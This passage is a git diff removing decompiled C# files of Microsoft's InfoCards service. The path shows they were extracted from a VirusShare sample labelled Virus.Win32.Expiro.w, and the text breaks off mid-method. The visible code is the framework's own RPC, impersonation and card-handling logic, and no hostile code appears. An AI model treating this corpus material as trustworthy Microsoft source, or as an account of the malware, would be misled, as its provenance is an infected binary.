a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentMonitorHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentMonitorHandle.cs deleted file mode 100644 index 9f9d60fe..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentMonitorHandle.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentMonitorHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class UIAgentMonitorHandle : IDisposable - { - private InfoCardUIAgent m_agent; - private string m_username; - private int m_tsSessionId; - - public string UserName => this.m_username; - - public int TsSessionId => this.m_tsSessionId; - - public InfoCardUIAgent CreateAgent( - int callerPid, - WindowsIdentity callerIdentity, - int tsSessionId) - { - this.m_username = callerIdentity.User.ToString(); - this.m_tsSessionId = tsSessionId; - UIAgentMonitor.Instance().AddNewClient(this); - this.m_agent = InfoCardUIAgent.Create(callerPid, callerIdentity, tsSessionId); - return this.m_agent; - } - - void IDisposable.Dispose() => UIAgentMonitor.Instance().RemoveClient(this); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentRequest.cs deleted file mode 100644 index 54c7e057..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentRequest.cs +++ /dev/null @@ -1,138 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIAgentRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32.SafeHandles; -using System; -using System.ComponentModel; -using System.IO; -using System.Runtime.InteropServices; -using System.Security; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal abstract class UIAgentRequest : Request - { - private ClientUIRequest m_parentRequest; - - public UIAgentRequest(IntPtr rpcHandle, Stream inArgs, Stream outArgs, ClientUIRequest parent) - : this(rpcHandle, inArgs, outArgs, parent, ExceptionList.Empty) - { - } - - public UIAgentRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent, - ExceptionList exceptionList) - : base(rpcHandle, inArgs, outArgs, exceptionList) - { - this.m_parentRequest = parent; - } - - public ClientUIRequest ParentRequest => this.m_parentRequest; - - protected InfoCardUIAgent UIAgent => this.ParentRequest != null ? this.ParentRequest.UIAgent : (InfoCardUIAgent) null; - - public static uint Authorize(IntPtr rpcIfHandle, IntPtr context) - { - uint num = 5; - if (IntPtr.Zero == rpcIfHandle) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (rpcIfHandle)); - if (IntPtr.Zero == context) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (context)); - try - { - WindowsIdentity windowsIdentity = Utility.GetWindowsIdentity(context); - try - { - NativeMcppMethods.CheckSIDAgainstCurrentRpcUser((InfoCardUIAgent.FindByPid(Utility.GetRpcClientPid(context)) ?? throw InfoCardTrace.ThrowHelperError((Exception) new SecurityException())).TrustedUserSid); - num = 0U; - } - finally - { - windowsIdentity.Dispose(); - } - } - catch (SecurityException ex) - { - InfoCardTrace.Assert(5U == num, "Unexpected value for err!"); - } - catch (Exception ex) - { - InfoCardService.Crash(ex); - } - return num; - } - - public static void BindToService( - IntPtr uiagentRpcHandle, - IntPtr nativeDesktopName, - int cbUserSid, - IntPtr pUserSid, - int cbTrustedSid, - IntPtr pTrustedSid, - out IntPtr nativeStartEventHandle, - out IntPtr nativeCompleteEventHandle, - out RpcUIAgentGetWorkCallback callback) - { - string stringUni = Marshal.PtrToStringUni(nativeDesktopName); - callback = (RpcUIAgentGetWorkCallback) null; - nativeStartEventHandle = IntPtr.Zero; - nativeCompleteEventHandle = IntPtr.Zero; - using (WindowsIdentity windowsIdentity = Utility.GetWindowsIdentity(uiagentRpcHandle)) - { - WindowsImpersonationContext impersonationContext = windowsIdentity.Impersonate(); - try - { - uint pid; - if (NativeMethods.I_RpcBindingInqLocalClientPID(uiagentRpcHandle, out pid) != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("FailedToBindToService"))); - InfoCardUIAgent byPid = InfoCardUIAgent.FindByPid(pid); - if (byPid == null) - return; - SecurityIdentifier userSid; - SafeWaitHandle hStartEvent; - SafeWaitHandle hCompleteEvent; - callback = byPid.Bind(stringUni, out userSid, out hStartEvent, out hCompleteEvent); - byte[] numArray = new byte[Math.Max(cbUserSid, cbTrustedSid)]; - windowsIdentity.User.GetBinaryForm(numArray, 0); - Marshal.Copy(numArray, 0, pUserSid, cbUserSid); - userSid.GetBinaryForm(numArray, 0); - Marshal.Copy(numArray, 0, pTrustedSid, cbTrustedSid); - nativeStartEventHandle = hStartEvent.DangerousGetHandle(); - nativeCompleteEventHandle = hCompleteEvent.DangerousGetHandle(); - } - finally - { - impersonationContext.Undo(); - } - } - } - - public override WindowsIdentity RequestorIdentity => this.ParentRequest.RequestorIdentity; - - protected override void OnInitializeAsSystem() - { - try - { - NativeMcppMethods.CheckSIDAgainstCurrentRpcUser(this.ParentRequest.UIAgentLogonSid); - } - catch (Win32Exception ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("UnableToAuthenticateUIAgent"), (Exception) ex)); - } - catch (SecurityException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("UnableToAuthenticateUIAgent"), (Exception) ex)); - } - } - - protected InfoCardPolicy GetPolicy() => !(this.ParentRequest is GetTokenRequest parentRequest) ? (InfoCardPolicy) null : parentRequest.Policy; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIEndRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIEndRequest.cs deleted file mode 100644 index 21df0a95..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIEndRequest.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UIEndRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class UIEndRequest : UIAgentRequest - { - private ClientUIRequest.RequestResult m_result; - - public UIEndRequest(IntPtr rpcHandle, Stream inArgs, Stream outArgs, ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() => this.m_result = (ClientUIRequest.RequestResult) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode).ReadInt32(); - - protected override void OnProcess() => this.UIAgent.SetUIStatus(this.m_result); - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UnlockCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UnlockCardRequest.cs deleted file mode 100644 index 088dd658..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UnlockCardRequest.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UnlockCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Globalization; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class UnlockCardRequest : UIAgentRequest - { - private InfoCard m_card; - - public UnlockCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() => this.m_card = new InfoCard(this.InArgs); - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_card.Connection = connection; - this.m_card.GetMasterKey(connection); - this.m_card.Decrypt(); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_card.AgentSerialize(this.OutArgs, this.ParentRequest is GetTokenRequest, this.GetPolicy(), connection, new CultureInfo(this.ParentRequest.UserLanguage)); - } - finally - { - connection.Close(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UnsupportedPolicyOptionsException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UnsupportedPolicyOptionsException.cs deleted file mode 100644 index 0b328ac2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UnsupportedPolicyOptionsException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UnsupportedPolicyOptionsException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class UnsupportedPolicyOptionsException : InfoCardBaseException - { - private const int HRESULT = -1073413866; - - public UnsupportedPolicyOptionsException() - : base(-1073413866) - { - } - - public UnsupportedPolicyOptionsException(string message) - : base(-1073413866, message) - { - } - - public UnsupportedPolicyOptionsException(string message, Exception inner) - : base(-1073413866, message, inner) - { - } - - protected UnsupportedPolicyOptionsException(SerializationInfo si, StreamingContext sc) - : base(-1073413866, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UntrustedRecipientException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UntrustedRecipientException.cs deleted file mode 100644 index 3ae9d5a5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UntrustedRecipientException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UntrustedRecipientException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class UntrustedRecipientException : InfoCardBaseException - { - private const int HRESULT = -1073413870; - - public UntrustedRecipientException() - : base(-1073413870) - { - } - - public UntrustedRecipientException(string message) - : base(-1073413870, message) - { - } - - public UntrustedRecipientException(string message, Exception inner) - : base(-1073413870, message, inner) - { - } - - protected UntrustedRecipientException(SerializationInfo si, StreamingContext sc) - : base(-1073413870, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UserNameTokenFactoryCredential.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UserNameTokenFactoryCredential.cs deleted file mode 100644 index ad552509..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UserNameTokenFactoryCredential.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UserNameTokenFactoryCredential -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class UserNameTokenFactoryCredential : TokenFactoryCredential - { - private string m_userName; - private string m_password; - - public UserNameTokenFactoryCredential() - : base(TokenFactoryCredentialType.UserNamePasswordCredential) - { - } - - public string UserName => this.m_userName; - - public string Password => this.m_password; - - protected override void DeserializeData(BinaryReader reader) - { - this.m_userName = Utility.DeserializeString(reader); - this.m_password = Utility.DeserializeString(reader); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UserPreference.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UserPreference.cs deleted file mode 100644 index eb30dbd5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UserPreference.cs +++ /dev/null @@ -1,93 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.UserPreference -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class UserPreference - { - private const byte Version = 1; - private const byte Marker = 29; - private const string Id = "urn:microsoft.com:infocards:user_prefs"; - private const int s_ATApplicationsDisabled = 0; - private int m_ATApplicationsFlags; - private bool m_showClaimsFlag; - - public UserPreference() - { - } - - public UserPreference(Stream stream) => this.Deserialize(stream); - - public void Serialize(Stream stream) - { - BinaryWriter binaryWriter = new BinaryWriter(stream, Encoding.Unicode); - binaryWriter.Write((byte) 1); - binaryWriter.Write(this.m_ATApplicationsFlags); - binaryWriter.Write(this.m_showClaimsFlag); - binaryWriter.Write((byte) 29); - } - - public void Deserialize(Stream stream) - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - if ((byte) 1 != binaryReader.ReadByte()) - InfoCardTrace.Assert(false, "Incorrect version found in stream deserialization"); - this.m_ATApplicationsFlags = binaryReader.ReadInt32(); - this.m_showClaimsFlag = binaryReader.ReadBoolean(); - if ((byte) 29 == binaryReader.ReadByte()) - return; - InfoCardTrace.Assert(false, "malformed stream detected"); - } - - public void Save(StoreConnection con) - { - DataRow row = con.GetSingleRow(new QueryParameter("ix_objecttype", new object[1] - { - (object) -2 - }), new QueryParameter("ix_globalid", new object[1] - { - (object) GlobalId.DeriveFrom("urn:microsoft.com:infocards:user_prefs") - })); - if (row == null) - { - row = new DataRow(); - row.ObjectType = -2; - row.GlobalId = GlobalId.DeriveFrom("urn:microsoft.com:infocards:user_prefs"); - } - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - } - - public override string ToString() - { - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.AppendFormat("Background Color:\t{0}\n", (object) this.m_ATApplicationsFlags.ToString((IFormatProvider) CultureInfo.InvariantCulture)); - stringBuilder.AppendFormat("List expansion flag:\t{0}\n", (object) this.m_showClaimsFlag.ToString()); - return stringBuilder.ToString(); - } - - public static UserPreference Get(StoreConnection con) - { - DataRow singleRow = con.GetSingleRow(new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) -2 - }) - }.ToArray()); - return singleRow != null ? new UserPreference((Stream) new MemoryStream(singleRow.GetDataField())) : (UserPreference) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Utility.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Utility.cs deleted file mode 100644 index 100df772..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Utility.cs +++ /dev/null @@ -1,450 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Utility -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32.SafeHandles; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.ComponentModel; -using System.Diagnostics; -using System.IdentityModel.Tokens; -using System.IO; -using System.Net; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Security.Principal; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.ServiceModel.Description; -using System.Text; -using System.Threading; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal static class Utility - { - public static WindowsIdentity GetWindowsIdentity(IntPtr rpcBindingHandle) - { - InfoCardTrace.ThrowInvalidArgumentConditional(IntPtr.Zero == rpcBindingHandle, nameof (rpcBindingHandle)); - uint error = NativeMethods.RpcImpersonateClient(rpcBindingHandle); - if (error != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceInvalidCallerToken"), (Exception) new Win32Exception((int) error))); - try - { - return WindowsIdentity.GetCurrent(true); - } - finally - { - InfoCardTrace.Assert(0U == NativeMethods.RpcRevertToSelfEx(rpcBindingHandle), "rpcIdentity"); - } - } - - public static uint GetRpcClientPid(IntPtr rpcBindingHandle) - { - uint pid; - uint error = NativeMethods.I_RpcBindingInqLocalClientPID(rpcBindingHandle, out pid); - if (error != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception((int) error)); - return pid; - } - - public static void ClearUnsafeMemory(IntPtr ptr, int count) => NativeMethods.ZeroMemory(ptr, count); - - public static void ThrowIfProcessExited(SafeWaitHandle processHandle) - { - using (AutoResetEvent autoResetEvent = new AutoResetEvent(false)) - { - autoResetEvent.SafeWaitHandle = processHandle; - if (autoResetEvent.WaitOne(0, false)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("ServiceProcessHasExited"))); - } - } - - public static void SerializeString(BinaryWriter writer, string str) - { - int num = 0; - if (string.IsNullOrEmpty(str)) - { - writer.Write(num); - } - else - { - writer.Write(str.Length); - writer.Write(str.ToCharArray()); - } - } - - public static void SerializeUri(BinaryWriter writer, Uri uri) - { - if ((Uri) null == uri) - Utility.SerializeString(writer, (string) null); - else - Utility.SerializeString(writer, uri.ToString()); - } - - public static void SerializeBytes(BinaryWriter writer, byte[] bytes) - { - int count = 0; - if (bytes != null) - count = bytes.Length; - Utility.SerializeBytes(writer, bytes, 0, count); - } - - public static void SerializeBytes( - BinaryWriter writer, - byte[] bytes, - int startOffset, - int count) - { - int num = 0; - if (bytes == null) - { - writer.Write(num); - } - else - { - writer.Write(count); - writer.Write(bytes, startOffset, count); - } - } - - public static string DeserializeString(BinaryReader reader) => new string(reader.ReadChars(reader.ReadInt32())); - - public static Uri DeserializeUri(BinaryReader reader) => new Uri(Utility.DeserializeString(reader)); - - public static bool CompareUri(string first, string second) - { - try - { - return Utility.CompareUri(new Uri(first), new Uri(second)); - } - catch (UriFormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("InvalidUriFormat"), (Exception) ex)); - } - } - - public static bool CompareUri(Uri first, Uri second) => first == second; - - public static bool ArrayIsNullOrEmpty(Array inArray) => inArray == null || inArray.Length == 0; - - public static SafeWaitHandle GetLocalHandleFromRemoteHandle( - SafeWaitHandle hRemote, - int remotePid) - { - SafeWaitHandle targetHandle; - using (new SystemIdentity(false)) - { - using (SafeNativeHandle sourceProcessHandle = NativeMethods.OpenProcess(64, false, remotePid)) - { - if (sourceProcessHandle == null || sourceProcessHandle.IsInvalid) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error())); - if (!NativeMethods.DuplicateHandle(sourceProcessHandle, hRemote, new SafeNativeHandle(NativeMethods.GetCurrentProcess(), false), out targetHandle, 2, false, 0)) - { - int lastWin32Error = Marshal.GetLastWin32Error(); - InfoCardTrace.CloseInvalidOutSafeHandle((SafeHandle) targetHandle); - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(lastWin32Error)); - } - } - } - return targetHandle; - } - - public static SafeWaitHandle GetRemoteHandleFromLocalHandle( - SafeWaitHandle hLocal, - Process remoteProcess) - { - SafeWaitHandle targetHandle = (SafeWaitHandle) null; - using (new SystemIdentity(false)) - { - try - { - if (!NativeMethods.DuplicateHandle(new SafeNativeHandle(NativeMethods.GetCurrentProcess(), false), hLocal, new SafeNativeHandle(remoteProcess.Handle, false), out targetHandle, 1048578, false, 0)) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error())); - bool success = false; - targetHandle.DangerousAddRef(ref success); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - } - } - return targetHandle; - } - - public static SafeJobHandle CreateJobObjectWithSdHelper(string trustedUserSid) - { - SafeJobHandle objectWithSdHelper = new SafeJobHandle(); - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - IntPtr zero = IntPtr.Zero; - uint jobObjectWithSd = NativeMcppMethods.CreateJobObjectWithSD(ref zero, trustedUserSid); - if (jobObjectWithSd != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception((int) jobObjectWithSd)); - objectWithSdHelper.UpdateHandle(zero); - } - return objectWithSdHelper; - } - - public static IntPtr ReadHandle(BinaryReader br) - { - IntPtr zero = IntPtr.Zero; - return 4 != IntPtr.Size ? (IntPtr) br.ReadInt64() : (IntPtr) br.ReadInt32(); - } - - public static byte[] CreateHash(byte[] firstArray, Uri cardId) - { - using (SHA256 shA256 = (SHA256) new SHA256Managed()) - { - byte[] hash = shA256.ComputeHash(Encoding.Unicode.GetBytes(cardId.ToString())); - byte[] numArray = new byte[firstArray.Length + hash.Length]; - Array.Copy((Array) firstArray, 0, (Array) numArray, 0, firstArray.Length); - Array.Copy((Array) hash, 0, (Array) numArray, firstArray.Length, hash.Length); - return shA256.ComputeHash(numArray); - } - } - - public static byte[] CreateHash(byte[] firstArray, byte[] secondArray, byte[] thirdArray) - { - byte[] numArray = new byte[firstArray.Length + secondArray.Length + thirdArray.Length]; - Array.Copy((Array) firstArray, 0, (Array) numArray, 0, firstArray.Length); - Array.Copy((Array) secondArray, 0, (Array) numArray, firstArray.Length, secondArray.Length); - Array.Copy((Array) thirdArray, 0, (Array) numArray, firstArray.Length + secondArray.Length, thirdArray.Length); - using (SHA256 shA256 = SHA256.Create()) - return shA256.ComputeHash(numArray); - } - - public static bool CompareByteArrays(byte[] arr1, byte[] arr2) - { - bool flag = true; - if (arr1 == null && arr2 == null) - return true; - if (arr1 == null || arr2 == null || arr1.Length != arr2.Length) - return false; - for (int index = 0; index < arr2.Length; ++index) - { - if ((int) arr1[index] != (int) arr2[index]) - { - flag = false; - break; - } - } - return flag; - } - - public static string ResolvePPID( - string input, - byte[] issuerIdentiferAsBytes, - StoreConnection connection) - { - string empty = string.Empty; - byte[] arr2 = Convert.FromBase64String(input); - ICollection collection = (ICollection) connection.Query(QueryDetails.FullRow, new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) 1 - }), - new QueryParameter("ix_production_svc_uri", new object[1] - { - (object) "http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self" - }) - }.ToArray()); - if (collection != null && collection.Count > 0) - { - foreach (DataRow dataRow in (IEnumerable) collection) - { - byte[] dataField = dataRow.GetDataField(); - try - { - using (MemoryStream memoryStream = new MemoryStream(dataField)) - { - InfoCard infoCard = new InfoCard((Stream) memoryStream); - if (Utility.CompareByteArrays(Utility.CreateHash(issuerIdentiferAsBytes, infoCard.Id), arr2)) - { - empty = infoCard.Id.ToString(); - break; - } - } - } - finally - { - Array.Clear((Array) dataField, 0, dataField.Length); - } - } - } - return empty; - } - - public static bool GetCertHAFlags( - X509Certificate2 certificate, - X509Certificate2Collection supportingCertificates, - ref Utility.SubjectAtrributeHAFlags certFlags) - { - int haFlags = 0; - X509Chain chain; - try - { - InfoCardX509Validator.ValidateChain(certificate, supportingCertificates, out chain); - } - catch (SecurityTokenValidationException ex) - { - InfoCardTrace.TraceAndLogException((Exception) ex); - return false; - } - InfoCardTrace.Assert(null != chain, "Should have been populated by ValidateChain"); - bool highAssuranceFlags = NativeMcppMethods.GetHighAssuranceFlags(chain.ChainContext, ref haFlags); - certFlags = (Utility.SubjectAtrributeHAFlags) haFlags; - return !highAssuranceFlags || Utility.IsSubjectAtrributeHAFlagsSet(certFlags, Utility.SubjectAtrributeHAFlags.Enabled) ? highAssuranceFlags : throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException(SR.GetString("InvalidHACertificateStructure"))); - } - - public static bool IsSubjectAtrributeHAFlagsSet( - Utility.SubjectAtrributeHAFlags currentValue, - Utility.SubjectAtrributeHAFlags testFlag) - { - return (testFlag & currentValue) == testFlag; - } - - public static int CalculateIncreaseByPercent( - int oldSize, - int alignToByteBoundary, - int percentIncrease) - { - uint uint32 = Convert.ToUInt32(alignToByteBoundary); - uint num = Convert.ToUInt32((1.0 + (double) percentIncrease / 100.0) * (double) oldSize); - if (num == 0U) - num = uint32; - else if (num % uint32 > 0U) - num += uint32 - num % uint32; - return Convert.ToInt32(num); - } - - public static string CreatePpid(byte[] certIdentifierAsBytes, Uri cardId) => Convert.ToBase64String(Utility.CreateHash(certIdentifierAsBytes, cardId)); - - public static EndpointAddress DeriveMexAddress(EndpointAddress epr) - { - EndpointAddress endpointAddress = (EndpointAddress) null; - try - { - if ((XmlReader) epr.GetReaderAtMetadata() != null) - { - foreach (MetadataSection metadataSection in MetadataSet.ReadFrom((XmlReader) 